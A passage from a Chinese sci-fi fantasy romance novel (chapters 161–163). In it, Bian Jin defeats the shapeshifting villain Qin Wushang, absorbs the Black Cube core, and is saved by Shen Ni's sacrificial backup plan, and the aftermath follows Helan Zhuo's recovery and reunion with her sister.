沈逆知道边烬不好回应,过了嘴瘾之后便开心地欣赏边烬的欲言又止,给她塞了一口牛肉丝。
边烬嘴唇很快红了,抽了两口气,说:“好辣。”
沈逆给她递水,“天不怕地不怕的双极楼大师姐,这么一点辣都吃不了。”
沈逆捉弄她,她心甘情愿受着,接过水咕咚咕咚喝了大半瓶。
在弦昼国的国境内开了一段路,道路的状态愈发堪忧。
沈逆打开她的探测器,发现了一大片黑魔方能量反应。
出乎意料,这片黑魔方能量反应还在持续变强,距离它近的其他黑魔方都被它吞噬了。
沈逆皱眉,“黑魔方互相吞噬?”
边烬“嗯”了一声道:“很奇怪的行为,给我的感受也很不同。它的能量过大了。就像是,另一个黑魔方本体。”
沈逆听到此话,开口都迟缓了,“……不太可能吧。”
边烬:“理论是不可能,毕竟诱捕进度只剩下最后百分之十五,即便黑魔方剩下的所有分支集中在一起,也只有百分之十五的能量强度。”
边烬已经跟沈逆直说了自己的计划,此说话也无须再拐弯抹角。
更何况即便她不说,沈逆也已经猜到。
沈逆有数归有数,听到“诱捕”这两个字的时候,还是在心里笑了一下。
沈逆:“那会是什么?”
边烬目光却在车窗之外扫视,“你有没有发现此地的诡异之处?”
沈逆往更远的地方眺望,“有路有坟冢,还有村落,可是开了半天车,怎么……”
沈逆接着她的话道:“一个人都没有遇到。”
车轮碾压的感觉忽然变了。
边烬握着方向盘的手缩紧。
眼前凄风楚雨的小路变成了血腥的战场,房车正行驶在尸山之上。
车轮碾过,碾碎了一颗头颅。
“总都督——”
凄厉的哭喊声刺入边烬的耳膜。
万人的呐喊,十万人怨恨,百万人的恸哭。
这是北境,是她杀死百万大军的现场。
呼吸渐渐凝滞,边烬手中的方向盘变成了一颗人头。
人头血肉模糊,痛苦地求饶:“别杀我……我想回家,阿耶阿娘还在等着我,看在我追随了你这么多年的份上,别杀我!”
手中的骨鞭被血染透,她整个人都被染透。
托着脑袋的手微颤着。
为了不让黑魔方异化,边烬亲手屠了自己手下的百万大军。
那是沉在她生命里最黑暗的痛,是她此生都无法忘怀的噩梦。
如今乍然回到眼前。
清脆犀利的抽鞭声突兀地响起,边烬后背猛痛,骨鞭笞在她自己身上。
横贯后背的伤口红肿不堪,很快流下血。
骨鞭:“你不配活在这世上。”
骨鞭就像拥有了自己的意识,拥有了憎恨边烬的意识,一下下发了疯般狠狠抽在她身上。
“我要回家——我要回家——”
“你怎么能这样对我们!你怎么忍心!”
“冷血的恶魔!”
骨鞭一次次呼啸地抽来,浑身是血的边烬抬手,一把抓住。
坚硬的骨鞭刺着她的掌心,血滴滴答答往下落。
骨鞭和她僵持着,边烬就像感觉不到疼痛,继续紧握、拉扯。
掌心里的触感变了,不再是冷硬的无机物,而是柔软脆弱的脖子。
她正掐着她的副将。
副将满面涨红,哭着向她祈求道:“总都督,放过我……你知道的,我的女儿才刚刚出生……我还没见过她一眼,放开我,让我回家……”
边烬和那双痛苦的双眸对视,动作缓了一息。
副将却拔出了藏在腰间的刀,猛地刺向边烬。
边烬:“无聊的幻觉。”
刀就要刺到她身上的前一瞬,边烬狠狠将手中的“副将”掼在地上。
碎骨残肢飞溅,那“副将”还待起身,被边烬一脚踏了回去。
“他们死得惨烈,但我从未后悔。再重来千次万次,我也会这么做。”
血溅在边烬冰冷的脸庞上,铺在她暗灼怒意的眼下。
“我的将士们为了帝国百姓的安危自愿捐躯,为了杀死黑魔方牺牲。从未摇尾乞怜,不是这种可笑的废物。”
边烬反手一挥,刚才还失控的骨鞭立刻回到她手里。
她再次成为骨鞭的主人,自如地横扫尸骸之山。
尸骸之山被抽了个稀烂,正中藏在其中的某个人。
幻象支离破碎,被抽中的人痛苦地哀嚎。
边烬:“滚出来。”
尸山不见了,原本崎岖的小路和凌乱的坟冢再次出现在眼前。
被抽中的人就在不远处。
原本以为是一只异兽,没想到,竟是一位年轻的小娘子。
小娘子坐在一张巨大的符纸上,黄色的符纸如魔毯,看上去蜿蜒柔软,实则是金属材质的悬浮式飞行载具。
她捂着被抽中的手臂,手撤开时竟没有一丝伤痕。
“宝贝,我就说你会来找我。不过很可惜啊,你还保持着理智。好想看到你发疯的模样啊……”
尽管眼前的这张脸让边烬陌生,不过她一开口就知道,此人是秦无商无疑。
更奇怪的是,秦无商分明是机械天赋,为什么能使用精神力?
还能让边烬产生如此真实的幻觉,这精神力恐怕是S级顶格了。
和记忆中满脸满身符纸,浑身都是缝合口的秦无商不同,眼前女郎不仅没有符纸没有伤痕,皮肤上也不见任何瑕疵,柳眉星眼,竟有一张楚楚动人的好容貌。
秦无商抚着自己的脸笑道:“你这是什么表情,奴家原本就该长得这般美。”
边烬:“第一次见这么自恋的人形异兽。”
秦无商“呸”了一声,“谁是异兽。”
随后点了点自己的心口。
“异兽的内核被我的符纸封印,我的大脑没被侵蚀,是我控制了黑魔方的能量。不仅如此,我还吞噬了周围所有的黑魔方,让黑魔方成为我提升能力的奴隶,我——”
边烬的骨鞭“啪”地打在她脸上,皮开肉绽。
“废话真多。”
秦无商:……
秦无商转回头,伤口上没渗出血,破损的皮肤边缘生出细细密密的乱体,很快拼合回原本的模样。
边烬:“你的符纸也只是能暂时压制住黑魔方,恐怕不到半个时辰就会被黑魔方烧毁,到时候你亦是一只被黑魔方掌控的异兽。”
秦无商双指一摇,指缝中多出了一张符纸。
符纸挡着下半脸,咯咯地笑道:“你我融合之后变成传说中太虚级的异兽,还需要半个时辰,我都觉得太漫长了。”
边烬思绪略转,看向歪歪斜斜停在路边的房车。
边烬不记得自己是怎么出的房车,阿摇呢?她是不是也被催眠了?
瞥一眼,见沈逆还在房车内。
边烬略为安心。
阿摇一向机警,无聊的幻觉肯定困不住她。
果然,沈逆悠然坐在副驾上。
但是抱着小黄雀。
边烬:?
沈逆紧抱着小黄雀,整张脸埋在小黄雀的大脸盘上,沉迷不已,开怀地沉吟着:“边烬,你坏坏的。”
边烬:……
第162章
边烬一时无言。
……也罢,应该不会有性命之忧。
秦无商夹着符纸立在眼前,手中微晃,符纸像从空中借了火,凭空燃烧。
火焰侵过符身,她的模样开始变化。
原本小巧的瓜子脸慢慢变长,棱角分明,身形也突兀地拉高。
转眼间竟变成了中年男子的模样。
中年男子一脸横肉,双臂如石块一般坚硬粗壮。
不只是样貌的变化,边烬能清晰地感觉到眼前人当真拥有了S级的战斗天赋。
中年男子像战车般轰隆隆撞向边烬,边烬敏捷地闪躲到一旁,与此同时毫不客气抽向对方腰间。这一下的力道极大,是冲着将他抽成烂泥去的。
可是做了挥鞭动作的当下,骨鞭居然神奇般消失不见了。
在她意识到又一次被催眠时,一发炮弹狠狠轰在她身上。
边烬抬起胳膊抵挡,巨大的爆炸声中,她身子不受控制地后翻,单手撑在某个坟包上,口中念了句“打扰了”,借着坟头轻盈地调转了身子,像只警觉的猫,落到不远处的树上。
此时秦无商又变成了另一副模样。纤细的成熟女人,看上去和贺兰濯的气质有些像。像边烬见过的其他精神天赋者。方才催眠的就是来自此人的能力。女人手里拿着一把大口径手炮,开心摇晃着。
秦无商看着边烬血肉模糊的手臂,笑道:
“怎么不使用黑魔方的力量了?像弄死那些分支一样弄死我?”
秦无商这次改成双手夹符纸,每只手中夹着三张符纸。
“不会是怕再借助黑魔方的力量,会迷失本心,失去身体的主导权吧?宝贝,你就是活得太规整,太累了。你该享受一下‘迷失’的快乐。”
六张符纸燃烧殆尽,秦无商变幻了六种形态。
从女到男从男到女,变幻了好几个模样,各种天赋者交替出现。
精神力、战斗力,各种机械武器、载具轮番上阵。
是她这么多年来炼的魔种。有成功的也有失败的,管它呢,只要能用,秦无商就不浪费。
边烬是双S级,也有黑魔方力量加持,可是双拳难敌四手,秦无商正享受着让边烬无力还击的快乐。
“宝贝,这么多天赋和样貌,总有一个是你喜欢的吧。我这么爱你,允许你选择一个,我会用你喜欢的模样来与你融合。”
边烬用手背抹掉嘴角的血。
“我对你的尸体更感兴趣。”
秦无商神经被边烬牵扯着。
她终于知道为什么自己会对边烬这般着迷。
除了绝对的实力和美貌,边烬身上有种即便身处劣势,甚至命垂一线都绝不低头的高傲。有种再难走的路都能仰着头,不说半句怨言坚定走完的气魄。
清正、纯粹又坦然,是在错乱的夹缝中苟活的秦无商觉得最碍眼,又最痴迷的品性。
越是洁净无垢,秦无商越是想污染她。
看她堕落,看她一身污名,看她变成和自己一样的阴湿怪物。
所以秦无商在抓住边烬的那段时日,想尽办法激发她所有的负面情绪。之后她回到长安城,秦无商便疯狂散播她俩有染的谣言。
若是真的能用边烬的魔种屠杀唐Pro,屠杀整片大陆,到时候她会不会憎恶自己的基因,愧疚自己的出生?会不会再也无法傲岸不凡?
把她和她最珍爱的小师妹融合成丑陋的怪物,毁天灭地之时,她便再也不是那清雅绝尘的北境总都督。
如果——
边烬一鞭子抽中了秦无商的脸,骨鞭上的骨刺硬生生划开她的脸庞,将她卷倒在地。
秦无商捂着脸,纳闷地撑起身子。
为什么边烬还能随心所欲行动?
不是被她的精神力控制了吗?
又是一鞭呼啸而来,秦无商立刻调出战斗天赋,勉强躲过这一鞭想要反击,可是边烬就像是猜到了她的逃离路线,鬼祟般出现在她身后,鞭子圈成套锁,直接卡住她的脖子。
边烬长得花容月貌,很容易让人忽略她的力量。
秦无商被这一卡险些断气,眼珠急速充血的同时,立刻又变成精神天赋者,想要冲毁边烬的精神世界。
向边烬的大脑中撞入巨量的精神力,可是边烬还是没有放手。
为什么没有放手?
秦无商就要窒息的时候,听到边烬在她耳边冷笑。
“你是融合了很多人的天赋,可惜,没有一个是自己的。你根本不知道该如何使用这些能力。”
边烬的话在秦无商一直亢奋的心上狠狠浇了一桶冷水。
方才边烬没有还击,并不是被秦无商碾压无法还击,而是在耐心观察对方的漏洞。
这是战斗天赋者在无数次对战中总结出的经验。
秦无商即便手握高等级天赋,可是她本是机械天赋,对战经验少之又少。以为占据了眼前的优势就是真正占据了优势,以为乘胜追击就一定能杀死对方。
她空有天赋,没有经验。
秦无商喊了声“胡说”,后背炸出无数的乱体,如同高速旋转的电锯,割向边烬。
边烬松开手,一脚蹬在秦无商的后背上,把她蹬飞。
秦无商天旋地转地飞了好几圈,砸入冻土中,整个人还躺在土坑里不待起身,边烬忽然而至压在她身上,单手掐住她的喉咙,另一只手捣入她的身躯。
想直接剖入她的腹部,抽出黑魔方的内核。
边烬作战时半句话都不喜欢多说,下手狠路数野,与她对战,即便是最最顶尖的高手,稍一疏忽也会在瞬息间没命。
情急之下秦无商两张符纸一合,浓浓的毒气弥漫在她们中间,也模糊了边烬的视野。
边烬并不恋战,没有非要一击即中,松开了秦无商。
秦无商立刻躲藏。
烟还未散去,边烬已经坐回了房车敞开的驾驶位上,手中还捏着秦无商的一块皮肉。
边烬将皮肉随意丢到车外,“不是要跟我融为一体?跑得倒快。”
刚说完这句话,边烬从后视镜里看到了自己的模样。
笑容是陌生的乖张,而眼眸中散着浓黑的邪光。
只要进入战斗状态,注意力在敌人身上,黑魔方就会趁机侵吞她的意识,防不胜防。
边烬冷着脸移开目光。
事到如今她也没什么好在意的。
这是在决定最初就想到的必然结果。
比起她,秦无商才是真正的穷途末路。
秦无商捂着鲜血淋漓的腹部,后背上乱体横生。
比她想得还要快,别说半个时辰,她的符纸甚至没能控制住黑魔方两刻钟的时间。
边烬就在眼前,秦无商的身体里明明有那么多的天赋,任她调取的能力,怎么能统统失灵?
秦无商的玉璧正在发颤,瞳孔在狂震,这是异兽化的开始。
她不管不顾,夹住了一张特别的符纸。
一张红色的符纸。
“你和自己对战,会是什么结果呢?”
红色的符纸在指尖烧完,边烬看到了另一个自己。
秦无商早就偷过她的基因,炼出了无脸女。
如今这假边烬,终于有了一张真脸。
连骨鞭都一模一样。
挥动着骨鞭,锋利的一节节骨头连成一条游龙在周身盘旋,秦无商笑道:“我终于把它完成了,是不是和你一模一样?”
边烬冷笑一声,“怎么能说是你完成的呢?要不是黑魔方提高了你的能力,你只能炼出无脸女。还是个不会用手的无脸女。”
秦无商面色发沉,怒气上涌,握着骨鞭向边烬猛抽。
边烬躲闪前回头凝视沈逆。
沈逆还紧抱着小黄雀不撒手,嘴里嘟囔着甜言蜜语。
边烬无奈地摸了沈逆脑袋一把。
“别乱做梦。”
秦无商没想到边烬和她对战时这般轻敌,还分出一丝精力揉她的小宝贝?
手里抽鞭的力道又狠了几分。
边烬旋身而起,手中骨鞭随意一抽,把秦无商的鞭子抽开。
那动作仿佛轻轻拨开碍事的帷帐,漫不经心,不将秦无商放在眼里。
两步跨到秦无商面前,不做任何防御的姿态,边烬右腿直踹,秦无商整个人被踹飞出去。
怎么会这样……
我应该拥有和她一样双S级的战斗天赋,我应该和她势均力敌!
秦无商落地之后立刻翻身,生怕边烬还是像之前一样踏上来夺她的内核。
谁料边烬根本没这样做,而是在远处用骨鞭卷起秦无商的腿,手臂一抬,直接把秦无商卷倒。
秦无商脑袋狠狠磕在地上。
此刻她不得不承认,她和边烬还是有差距。
的确就差在经验上。
边烬用鞭子能抽能套能挡,秦无商只会抽。
她是拥有了和边烬一样的力量,可是她根本没用过鞭子,并不知晓鞭子该如何发力,更别说准头。
所以边烬才能预判她逃离的线路,才知道哪些攻击随意一挡就能挡开,哪些则要暂时回避。
更让她心慌的是,边烬正在一步步逼近,被卷住了脚踝的当下,她不知道该如何摆脱。
秦无商往前夺了几下,没用,还是被边烬摁住了后脑勺,压在地上。
“天赋不是觉醒之后就能直接变强。需要每日炼体,挥鞭千万次。”
边烬的声音从身后传来。
“天赋是起点,磨练才是漫漫长路。你只是偷了别人的能力,复制了别人的天赋,本质上还是一吹就散的赝品。就连炼丹和符纸都是模仿你师姐,身为S级机械师,你居然没有任何属于自己的作品。”
秦无商体内的黑魔方也察觉到了危险,再次拧出尖锐的乱体,冲向边烬。
边烬甚至都没有抓住那些乱体。
她体内的黑魔方本体散发出了恐怖的威压和感召,分支在瑟瑟发抖,无法动弹,恐惧地在边烬身前静止了。
“你白费了S级的天赋。”
伴随着秦无商的惨叫声,边烬从她的体内挖出了内核。
内核在边烬的手掌中不安地颤抖着。
这么巨大的能量无法装入虚电容袋,即便装进入也很容易逃逸。
普通的攻击手法也无法保证彻底将它湮灭。
只能吸收。
边烬安静地看着这枚能够一瞬间将进度推进到百分之九十七的内核。
秦无商口中不断往外涌着黑色的血,即便只剩下一口气,她依旧没停下她的疯言疯语,仿佛对这世间不断的嘲讽是她最大的乐事。
“怎么不放入你的体内?放进去你的进度就会完成百分之九十七了。剩下的不过都是一些不堪一击的零碎。”
秦无商咳嗽着,气息越来越弱,却还在笑。
“是你先被黑魔方夺魄,还是真能压制住它,我死前能看到这一幕,死而无憾了……”
边烬握着这枚躁动的金属球,目不瞬,气不急。
既然是自己选择的路,不必犹豫。
想起方才揉沈逆脑袋的手感,软软的,香香的,发丝一根根从指尖划过,留下真实的触觉。
你我相遇是算法算出的最优解,怎么不算是天定良缘呢?
边烬闭上眼。
此生能被沈逆这样炙热地爱过,没有任何遗憾。
她捏碎了内核。
大量的黑魔方呼啸着撞入她的诱捕器,仿佛在超速的载具上又加上一个强劲的引擎,发狂般奔向未知的彼岸。
……
沈逆也不知道为什么,明明沉浸在愉悦的温柔乡,忽然一阵心慌,醒了。
和怀里的小黄雀面面相觑。
师姐怎么变成小黄雀了?
魂飞天外多时的沈逆总算苏醒,意识到自己被催眠了。
催眠她的人可真歹毒,让她做这等美梦。
此刻房车停在泥泞的道路边,车门大敞,寒风阵阵,不见边烬的踪影。
沈逆立刻下车,心里有种不妙的预感。
为什么感知不到边烬的情绪和位置了?
连理模块失效了。
把无脸女放出来时,沈逆发现远处有一座黑山。
那座山出现得非常突兀,催眠之前她观察过地貌,并没有那座山。
沈逆诧异地凝望着线条凌乱的黑山,黑山非常高,几乎遮住了大片天际。黑压压的,却拥有说不清的神性。
冷雨打在身上,她早就被淋透,寒气冻得她双唇发紫,她却像察觉不到寒冷。
纯白的渡鸦在头顶盘旋,红色的机械眼在盯着沈逆一步步走近。
站在山脚下,沈逆发现这是由无数的乱体堆砌出的山峦。
是袭击我们的异兽?
沈逆立刻开启外骨骼战衣。
可是很奇怪,她并不觉得这庞大的异兽有多可怕,甚至没有感受到任何的惧意。
“那是你老婆……”
一个虚弱的声音从不远处传来。
沈逆望过去,打眼看是个陌生的女郎,她奄奄一息地伏在血泊里,浑身干瘪如柴,可是声音却很熟悉。
“秦无商?”
秦无商的眼眸已经不会转了。
“你们以为能捕杀得了黑魔方吗?我变不成太虚级的异兽,但边烬可以……她可以……我会在地狱等你们。”
说完,秦无商保持着笑意,咽下了最后一口气。
没等秦无商说完,沈逆便立刻往山上冲,脚下伸出的乱体卷住她的躯体,想将她困住。
沈逆不顾一切一步步踏上山巅,浑身带血的她看到了一棵优美的黑色之树。
她被那棵树茂盛优雅的模样迷住了。
其实那棵树的模样怪异,完完全全由乱体组成。
树枝像人体纤细的神经,一根根往天空舒展蔓延。
它邪恶中带着机械的美感,每根线条都像精心设计的艺术品。
沈逆敢打赌,任何一个机械师看到它,都会痴迷于它的巧夺天工。
雨水打在乱体上,映出幽蓝的水光,让沈逆想到边烬梦境世界里小菌菇一直保护的那抹微蓝的光。
树干之上分叉的部分微弯,形成手掌的形态,一个女人坐在那“手掌”上。
女人的一只手和一条腿已经和树融为一体,铺散的长发也变成了乱体,一根根如同那曼妙的树枝。
她脸庞和身体完全金属化,望向沈逆时,漆黑发亮的瞳孔微微转动。
沈逆抬着和她对视,犹如望向一座宏伟的电子神佛。
沈逆当然认得出这是她的妻子。
“边烬……”
边烬已经吞噬了黑魔方能量,诱捕进度百分之九十七。
此刻,她已经被乱体覆盖。
沈逆发着颤的手摸向树干。
边烬已经异兽化了。
眼泪和雨水混在一块儿,沈逆抱住树干,在冷雨中发颤。
沈逆一直都是理智而乐观的,再无解的难题到她手里都能迎刃而解。
可此时此刻,她的大脑平生第一次混乱了,无数汹涌的情绪和慌张的想法在大脑里打作一团。
沈逆眼泪控制不住往下落。
“我原本的计划是消灭黑魔方。可是……现在你变成了异兽,那……要不然我转变计划,和你一起毁灭世界好了。”
“阿摇……”
上方的边烬忽然开口。
沈逆脱口而出,“师姐!”
欣喜若狂,边烬还有意识。
她的计划还有机会。
边烬的思维已然错乱,一会儿说“阿摇,太阳落山,咱们该回双极楼了”,一会儿说“你还不明白?我只是在利用你。”
乱体忽然刺向沈逆,沈逆不躲不闪,尖锐的乱体尖刺在她身体前一指的地方停了下来。
沈逆笑着往前一步,用心口抵着那尖刺,丝毫不害怕。
“那你利用完之后,还会不会奖励我?”
轻轻地抚摸边烬的乱体。
“没关系,现在没想好,你会有很长的时间来想的。”
边烬看到了沈逆身后安静站着的无脸女。
沈逆来之前制定了两个计划。
第一计划是直接通过手术,把黑魔方从边烬身体里取出来,安进无脸女的体内。这个计划已经被证实无法实施,不过不要紧,她还有第二计划。
海量的星河铬素落入沈逆的手里,她打造了第二枚逆芯。
边烬吸走长安城内黑魔方这件事给了她灵感。
既然边烬能这么做,她为什么不能?
她在无脸女身体里安装了逆芯。
这枚逆芯基础功能和边烬所用的相差无几,但有两倍量的星河铬素。
星河铬素对黑魔方有致命的吸引,加之沈逆的改造,只要启动,边烬身体里那不知谁打造的黑魔方诱捕装置根本困不住黑魔方。
第二计划,就是用无脸女当容器,把边烬体内的黑魔方全数吸进来。
不仅能把边烬体内的黑魔方吸过来,整片大陆的所有零散的黑魔方都会被吸入。
沈逆计算过半径,不会有任何遗漏。
她懒,既然要做,就一次性做到位。
无脸女是以边烬为原型炼的魔种,它身体的强悍程度自然也该能承受得住黑魔方才对。
在启动第二计划之前,沈逆先查看了一下逆芯系统。
边烬的逆芯报废进度又到了百分之六十。
幸好她在上次维修的时候,已经加入了高强度的保护模块,黑魔方本体离体之后,逆芯会立刻自我修复,虽然也需要两日的修复时间,但能护下边烬的命,这是最重要的。
沈逆回头看了眼山下的秦无商。
“如果成功了,世界和平也有你的一份贡献。”
开启第二计划!
黑色的树上方冲出一整片让人毛骨悚然的巨大能量,在天空中盘旋。卷起的飓风险些将沈逆刮飞。
从四面八方汇聚来的黑色能量扑进飓风中,黑魔方终于完整了。
天空中出现了一张脸,沈逆第一次看见了黑魔方本体真正的模样。
或许是因为它在李渃元的身体里慢慢孵化,竟有些像李渃元。
黑魔方尖啸着,像在喊沈逆的名字。
沈逆扶了扶幞头,“进去吧。”
黑魔法本体被强大的吸力吸入无脸女的体内。
沈逆直接被刮倒在地。
强风在一瞬间就停了,无数碎石和死去的乱体从空中落下,像一场怪异的雨。
此时黑山犹在,但树不见了。
边烬伏在干涸的枯树手掌中,她模样完全没有变化,逆芯保下了她,她还活着。
沈逆情不自已,她第一次庆幸自己是一名机械师。
就要上前看边烬的状况,忽然身后传来一阵巨响。
黑魔方全部收入无脸女的身体里,只安静了几息,忽然它的脸部从中裂开,无数乱体哀嚎着逃逸,无脸女直接炸了,死无全尸。
沈逆窒息一瞬。
失败了……假货就是不行啊。
沈逆看着重新在天空中盘旋的黑魔方,那团巨大的黑影遮住了正片天际,正着寻找边烬。
沈逆当然不能让黑魔方重新回到边烬的身体里。
淅淅沥沥的雨水落在边烬的眼眸上。
其实沈逆还有第三计划。
万不得已的备用计划。
她还打造了第三枚逆芯,和禁锢黑魔方的容器一起埋进了自己的身体里。
“双S级的精神天赋者可以压制它,双S级战斗天赋者可以压制它,那我这个双S级的机械天赋者肯定也能做得到吧?”
如果压制不住,沈逆也做好了湮灭装置。
她不想和黑魔方同归于尽,但更不想边烬这么做。
手指短暂悬停在逆芯系统的“第三计划”按钮前。
原来人死之前,真的有走马灯。
沈逆仿佛看到了双极楼的大雪天,她叫着“师姐”。
师姐在雨雪霏霏中回眸,温柔淡笑,向她伸出手。
沈逆不喜欢无趣的苍生,也不觉得这些不相干的人命有什么好救。
可是,珍惜着无数苍生的师姐,是最珍贵的。
边烬意识到沈逆要做什么,虚弱地阻止道:
“不行——”
沈逆不舍地凝视着边烬。
“下次给我起个乖一点的名字吧。”
……
恐怖的阴云不见。
晨光熹微,天亮了。
第163章
说不上有什么不同,但这一日的清晨推开窗户往东方眺望的人,都感觉到了一种平静。
没有恐惧的喊叫,没有慌张的脚步,甚至连一直漂浮在空气中若有若无的血腥味都变淡了。
昨夜是谁伤痕累累,心如芒刺,被庇护的人并不知晓。
万千普通人只觉得一觉醒来后,世界变好了,他们得救了.
闻声阁被康逸等人顺利攻占。
贺兰濯看见阿赐的时候,视力已经因为过量释放精神力几乎消失。
阿赐的身影在她黑沉沉的双瞳间摇晃着,看不清五官,但她知道,是阿赐,她的阿赐还活着。她们姐妹俩真的在人间重逢了。
第五阙看康逸扣着阿赐的双手,问他怎么回事。
康逸道:“她被催眠了,不认人,很危险。”
第五阙心里道了声“果然”,转头跟贺兰濯委婉地说了这件事。
阿赐很有可能被向知番催眠,以为向老狗才是她父亲。
贺兰濯好不容易找到妹妹,却要面对如此不堪的一幕,第五阙替她难受。
贺兰濯却无甚为难的表情,平静地看向阿赐。
阿赐眼里俱是仇恨,对着贺兰濯她们喊着:“就是你们这帮歹人杀了我阿耶!我要替我阿耶报仇!”
第五阙眼饧骨软的浑身都痛,依旧撑起精神挡在贺兰濯身前。
贺兰濯在她腰间拍了拍,示意“没关系”,随后走近阿赐。
贺兰濯:“放开她吧。”
康逸犹豫着,没马上放人。
虽然说他知道殿下和贺兰濯在合作,可是眼下殿下不在此处,他不习惯听从别人的命令。
康逸提醒道:“她很危险。”
贺兰濯:“没事的。”
康逸的目光在她们之中穿梭,最后还是放开了。
就在她放开那一瞬间,阿赐抽出他腰间的匕首,扎向贺兰濯。
康逸完全没想到这么个瘦弱的小娘子身手如此敏捷,也是因为大战一场,现下整个人有些脱力和涣散,一时大意,没反应过来。
第五阙一直在警惕着,阿赐这一刀来得再快她也能挡下。
可是,刀尖停在贺兰濯的身前。
阿赐双手紧握着刀在发颤,心口也说不上来的痛,好似有种奇异的不舍压在心口。
她不解地抬眸看向眼前的女人。
为什么……下不去手?
贺兰濯双臂圈住了阿赐,将她抱入怀中。
锋利的刀尖随着她的拥抱慢慢向下。
“别害怕,我不会伤害你。”
贺兰濯的声音轻缓温柔,像摇篮曲,抚平了阿赐内心的疑惑和愤怒。
焦虑感在慢慢剥离,甚至有一瞬间她想起了另一个陌生的场景。
那个场景里,她住在一个小镇上,没有耶娘,只有一个相依为命的姐姐。
刀掉在地上,被眼前这温柔的女人抱着,湿漉漉的双眼在迟疑地缓缓转动。她思绪依旧混乱,但此刻的怀抱让她有种说不出的怀念和踏实。
阿赐小心翼翼地问道:“我们,认识吗?”
贺兰濯摸摸她的脑袋,安心地闭上双眼。
“没关系,慢慢来。阿赐,你会想起我的。”
……
贺兰濯最后一丝精神力用来给阿赐启发正确记忆后,就陷入了昏迷。
在她昏迷的这段时日里,向知番的几个据点被李极接连攻破,他人已死,在睦州大势已去。
李极没有放过这绝佳的机会,马不停蹄地握住了睦州,与此同时安排好了第五阙等人疗伤的住处和医师,甚至联系到了贺兰濯曾经提到过的黑医故渊,特意派人请她来睦州,为贺兰濯治伤。
故渊坐着安王府的飞行载具降临睦州时,不禁感叹,贺兰濯真是出息了。
故渊检查完贺兰濯的眼睛,听闻她居然突破了双S级精神力,相当震惊,又羡慕。
“原来精神天赋者真的能破级。一直有听闻,可真正突破成为双S级的还真是第一次见着。”
第五阙已经在其他医师的治疗下恢复了一些,起码能自如行走,安了一只据说是S级的胳膊,倒也算好用,这段时间她一直陪在贺兰濯左右。
原本第五阙对这故渊的来临就有点在意,此刻听她提及贺兰濯时自然熟的语气,即便知道贺兰濯除了自己肯定没有别的小宝贝,但还是隐约有点醋意。
只是这人是来给贺兰濯治伤的,第五阙得对人家恭恭敬敬的才是。
第五阙追问她的眼睛还能不能治好。
故渊仔仔细细端详着眼前这女人,谈吐间真诚纯粹,应该是在特别优渥的家境中长大的,好样貌好天赋,还对贺兰濯死心塌地。
难怪诱惑了贺兰濯这么多年都没诱惑到手,一直都是冷冰冰不解风情的模样,原来早就心有所属。
原本故渊还想戏弄一下贺兰濯的小情人,不过看她双眸通红,可怜见的,故渊最是看不得漂亮女人伤心,便大发慈悲当个好人,说些真话。
故渊道:“现下她是精神力已经完全干涸,双眼失明,天赋消散,和没有天赋的普通人没有区别。”
第五阙心里咯噔往下坠。
“最养神是最重要的。得吃饱睡好,无忧无虑。其他的么,若是有朝一日她的精神力能够恢复的话,眼睛就能看见了。若恢复不了,那她后半辈子也就这样了。”
第五阙:……
怎么感觉说了跟没说没两样?
故渊在其他机械师的帮助下,顺利帮贺兰濯换了个玉璧。
这场大手术做完,故渊小睡片刻,睡醒就要离开。
最后故渊留下一瓶药。
“这是精神天赋者专用的营养液,药效太强,每天喝一小汤匙就行,别喝多。喝完再来找我。”
两人互加好友时,第五阙问:“那,手术和这营养液多少银子?”
出乎意料,故渊笑道:“不用了,就当是你家贺女郎这些年光顾的回礼了。若有朝一日她能康复,我也是治好双S级天赋者的传奇机械师了。”
第五阙推着轮椅将故渊送回载具时,匆匆而过的两人口中提了一句“沈逆”和“边烬”。
自那夜蔺咏铭身上的黑魔方被莫名吸走之后,黑魔方就像消失了,再也没有任何人见过异兽。
内廷在全力搜索沈逆和边烬的下落。
现下别说唐Pro,整片大陆都知道是沈逆和边烬收服了黑魔方,所有人都在兴致勃勃地谈论她俩的事,讨论后黑魔方时代会有何变化。
第五阙心事重重地看向前方。
她和沈逆彻底断了联系。
无论给沈逆的信箱飞多少封信,都没有回应。也不知她和边烬现下究竟如何了。
还有小倾洛……
想到曾倾洛现在的状况,第五阙的眉心锁得更紧。
这时候可真想沈逆。
第五阙太依赖沈逆了,一有想不通、解决不了的难事只要去求沈逆,沈逆那个聪明的脑袋肯定能想到法子。
如今,沈逆在何处?有没有事也尚不可知。
她只待贺兰濯状况好些,也想去寻她下落。
第五阙满心担忧之时没有发现,轮椅上的故渊在听到那双极楼师姐妹名字的时候,一贯自在的表情渐渐变得落寞。
故渊上载具的时候,轮椅卡了一下,是第五阙将她整个人带轮椅一起搬起来,推上去的。
故渊向她道谢,第五阙看着她空荡荡的下肢,有些好奇问她:
“既然你也是机械师,为何不给自己装义体?”
这对机械师而言是家常便饭了。
第五阙心直口快,想什么就问什么,故渊倒是有点喜欢她这直肠子。
故渊干完活了,便将发髻放下。她披散着长发也不似疯子,倒别有一番风韵。
沐浴在难得的阳光之中,故渊道:“没什么,就是提醒自己,别再重蹈覆辙,真心喂狗。”
也有第五阙接不上话的时候。
故渊:“走了。”.
回到寝屋,推开门,见贺兰濯睁开了眼睛。
第五阙立刻扑到她床边,“怎么样了!”
贺兰濯眼前一片漆黑,听到第五阙声音里的期待和害怕,知道她肯定很担心。
“我想去净房。”
“我带你去!”
第五阙扶着她去净房的路上便知道,她视力还是没有恢复。
仔细帮她穿脱时,跟她说了这几日发生的事。
阿赐在慢慢恢复记忆,李极钦点了两名手脚麻利的侍女照顾着她,还有一名精神力医师在为她治疗。
沈逆和边烬下落不明,一直联系不上,璇玑和李司那边已经派出人手全帝国寻找她的下落。也在四下搜查黑魔方的踪迹,目前为止没有再发现。
还有李极,倾洛受伤之后她就像变了一个人,强势得不得了,现下整个睦州没人不服安王。她和李司连过线,双方谈了很久。她依旧在睦州为天子牧民,李司也没有为难她。
最后提及故渊所说贺兰濯的伤势,方才一句接一句的第五阙,顿了半晌也只说了半句话。
贺兰濯托起她的下巴。
指尖沾到了眼泪。
果然哭了。
贺兰濯:“我自己的状况我心里有数,没什么不好说的。”
第五阙颤得更猛。
贺兰濯捏着第五阙的下巴,吻她因为哭泣而变烫的唇。
“在我面前想哭就哭,不需要藏着。”
第五阙靠在贺兰濯的肩头,听到她温柔的安抚,眼泪再也控制不住,簌簌而落。
贺兰濯轻抚她的后背,更觉得第五阙的性子招人喜欢。
平日里什么事都不往心里去,真难过了,哭起来也是梨花带雨的。
